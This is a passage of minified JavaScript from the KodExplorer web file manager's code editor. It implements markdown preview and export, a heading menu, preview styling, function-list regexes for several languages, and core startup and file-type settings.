a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":N();break;case"tool_close":w();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,w()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?x()||v("html"):r.hasClass("hidden")&&v("html")},x=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},w=function(){(s.hasClass("hidden")||!x())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},N=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},L=function(){h(),_(),x();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return L(),{open:v,editChange:g,close:w,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='<li class="'+i+'"><a href="#'+e+'">'+$(this).text()+"</a></li>"}),t="<div class='markdown_menu'><ul>"+t+"</ul></div>"},i=function(e){e.find("a").attr("target","_blank");var i="<p>[TOC]</p>";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='<div class="markdown-latex">'+e+"</div>",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'><a name="$1" id="$1"></a>')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("<div class='markdown_make_buffer hidden'></div>").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),x()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,x(function(){w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},x=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},w=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:x,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'<!doctype html><html>\n<head><meta charset="utf-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">\n <head><title>{{title}}</title>\n</head>\n<link rel="stylesheet" type="text/css" href="{{addStyle}}">\n<style type="text/css">\n body{\n font-family:"Helvetica Neue","Helvetica","Microsoft Yahei","微软雅黑","Lantinghei SC","STXihei","WenQuanYi Micro Hei",Arial,sans-serif;\n text-align:justify;margin:auto;font-size:14px;line-height:1.6em;\n color:#333;background:#fefefe;padding:15px;margin:30px auto;position: relative;\n -webkit-font-smoothing: antialiased;font-smoothing: antialiased;\n }\n \n article,footer,header,nav{width:700px;margin:0 auto}\n article{margin-top:4em;margin-bottom:4em;min-height:400px}\n footer{margin-bottom:50px}\n video{margin:2em 0;border:1px solid #ddd}\n nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0}\n nav p{margin:0}\n details{margin: 15px 0;}\n summary{cursor:pointer;padding: 4px;}\n summary:focus{outline: none;box-shadow: 0 0 3px #2196F3;}\n .h1,h1{font-size:2.2em;}\n .h2,h2{font-size:1.9em;}\n .h3,h3{font-size:1.6em;}\n .h4,h4{font-size:1.3em;}\n .h5,h5{font-size:1.2em;}\n .h6,h6{font-size:1.1em;}\n .h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{\n font-family:inherit;font-weight:500;color: #333;\n line-height:1.5em;padding:0;margin:1em 0 0.5em 0;\n }\n .h1,h1{letter-spacing: 1px;border-bottom: 1px solid #ddd;}\n .h2,h2{padding-bottom: 0.15em;}\n p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap: break-word;}\n blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background: #f6f6f6;}\n blockquote p{margin:0;}\n code{\n padding: 2px 4px;color: #c7254e;background-color:#f9f2f4;border-radius: 4px;\n }\n pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;\n word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px}\n code,kbd,pre,samp{\n font-family:Consolas,\'Liberation Mono\',\'Ubuntu Mono\',Menlo,Courier,sans-serif;\n }\n pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display: block;}\n a{color:#1980e6;text-decoration:none}\n a:hover{text-decoration:underline}\n a img{border:none}\n img{max-width: 100%;}\n h1 a,h1 a:hover{text-decoration:none}\n hr{border: 0 none;height: 4px;margin:1.2em 0;\n background: rgba(0, 0, 0, 0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;\n }\n \n @media screen and (min-width: 900px) {\n body {width: 900px;}\n }\n ul,ol{padding: 0.5em 0 0.5em 3em;}\n table {border-collapse: collapse;border-spacing: 0;margin-bottom: 20px;}\n table thead{background: #eee;}\n table td,table th{padding: .5em;border: 1px solid #ddd;line-height: 1.5;}\n .markdown-latex {text-align: center;margin-bottom: 1.5em;font-size:1.6em;color: #000;}\n .latex-inline .katex-display{display:inline-block;font-size: 0.8em;}\n .markdown_menu ul{padding:0 10px 20px 20px;}\n .markdown_menu li{\n font-size:14px;list-style:none;\n line-height:1.8em;overflow: hidden;text-overflow: ellipsis;white-space: nowrap;\n }\n .markdown_menu_h2{padding-left:2em;}\n .markdown_menu_h3{padding-left:4em;}\n .markdown_menu_h4{padding-left:6em;}\n .markdown_menu_h5{padding-left:8em;}\n .markdown_menu_h6{padding-left:10em;}\n\n div .hljs{color: #666;}\n .hljs-comment,.hljs-quote {color: #8e908c;}\n .hljs-variable,.hljs-template-variable,.hljs-tag,.hljs-name,.hljs-selector-id,\n .hljs-selector-class,.hljs-regexp,.hljs-deletion {color: #c82829;}\n .hljs-number,.hljs-built_in,.hljs-builtin-name,.hljs-literal,.hljs-type,\n .hljs-params,.hljs-meta,.hljs-link {color: #f5871f;}\n .hljs-attribute {color: #eab700;}\n .hljs-string,.hljs-symbol,.hljs-bullet,.hljs-addition {color: #718c00;}\n .hljs-title,.hljs-section {color: #4271ae;}\n .hljs-keyword,.hljs-selector-tag {color: #8959a8;}\n .hljs {display: block;overflow-x: auto;color: #4d4d4c;padding: 0.5em;}\n .hljs-emphasis {font-style: italic;}\n .hljs-strong {font-weight: bold;}\n\n\n /* black theme */\n body.code_theme_black{background:#333;color:#bbb}\n body.code_theme_black blockquote{border-color:#444;border-color:rgba(200,200,200,.1);background:#444;background:rgba(200,200,200,.1)}\n body.code_theme_black code,body.code_theme_black pre,body.code_theme_black pre code{color:#777;border-color:#444;border-color:rgba(0,0,0,.1);background:#444;background:rgba(0,0,0,.1)}\n body.code_theme_black code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}\n body.code_theme_black a{color:orange}\n\n body.code_theme_black .h1,body.code_theme_black h1,\n body.code_theme_black .h2,body.code_theme_black h2,\n body.code_theme_black .h3,body.code_theme_black h3,\n body.code_theme_black .h4,body.code_theme_black h4,\n body.code_theme_black .h5,body.code_theme_black h5,\n body.code_theme_black .h6,body.code_theme_black h6{\n color: #fff;\n }\n body.code_theme_black hr{border-bottom:solid 1px #444;border-color:rgba(200,200,200,.1);background-image:none;}\n body.code_theme_black table thead{background: #3e3e3e;}\n body.code_theme_black table td,body.code_theme_black table th{border-color:#444;border-color:rgba(200,200,200,.1)}\n body.code_theme_black .markdown-latex {color: #fff;}\n body.code_theme_black div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f}\n body.code_theme_black .hljs,body.code_theme_black .hljs-subst,body.code_theme_black .hljs-tag{color:#f8f8f2}\n body.code_theme_black .hljs-emphasis,body.code_theme_black .hljs-strong{color:#a8a8a2}\n body.code_theme_black .hljs-bullet,body.code_theme_black .hljs-link,body.code_theme_black .hljs-literal,body.code_theme_black .hljs-number,body.code_theme_black .hljs-quote,body.code_theme_black .hljs-regexp{color:#ae81ff}\n body.code_theme_black .hljs-code,body.code_theme_black .hljs-section,body.code_theme_black .hljs-selector-class,body.code_theme_black .hljs-title{color:#a6e22e}\n body.code_theme_black .hljs-strong{font-weight:700}\n body.code_theme_black .hljs-emphasis{font-style:italic}\n body.code_theme_black .hljs-attr,body.code_theme_black .hljs-keyword,body.code_theme_black .hljs-name,body.code_theme_black .hljs-selector-tag{color:#f92672}\n body.code_theme_black .hljs-attribute,body.code_theme_black .hljs-symbol{color:#66d9ef}\n body.code_theme_black .hljs-class .hljs-title,body.code_theme_black .hljs-params{color:#f8f8f2}\n body.code_theme_black .hljs-addition,body.code_theme_black .hljs-built_in,body.code_theme_black .hljs-builtin-name,body.code_theme_black .hljs-selector-attr,body.code_theme_black .hljs-selector-id,body.code_theme_black .hljs-selector-pseudo,body.code_theme_black .hljs-string,body.code_theme_black .hljs-template-variable,body.code_theme_black .hljs-type,body.code_theme_black .hljs-variable{color:#e6db74}\n body.code_theme_black .hljs-comment,body.code_theme_black .hljs-deletion,body.code_theme_black .hljs-meta{color:#75715e}\n\n .print-btn{\n position:absolute;padding:4px 20px;color:#444;font-size:1em;\n background:#eee;background:rgba(200,200,200,0.2);margin-top: -45px;right:15px;\n }\n .print-btn:hover{text-decoration: none;background: #14a2ff;color: #fff;}\n @media print {\n .print-btn{display: none;}\n }\n</style>\n<body {{if black_theme}}class="code_theme_black"{{/if}}>\n<a href="javascript:window.print();" class="print-btn">Print</a>\n\n{{#content}}\n</body>\n<html>\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg); +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var 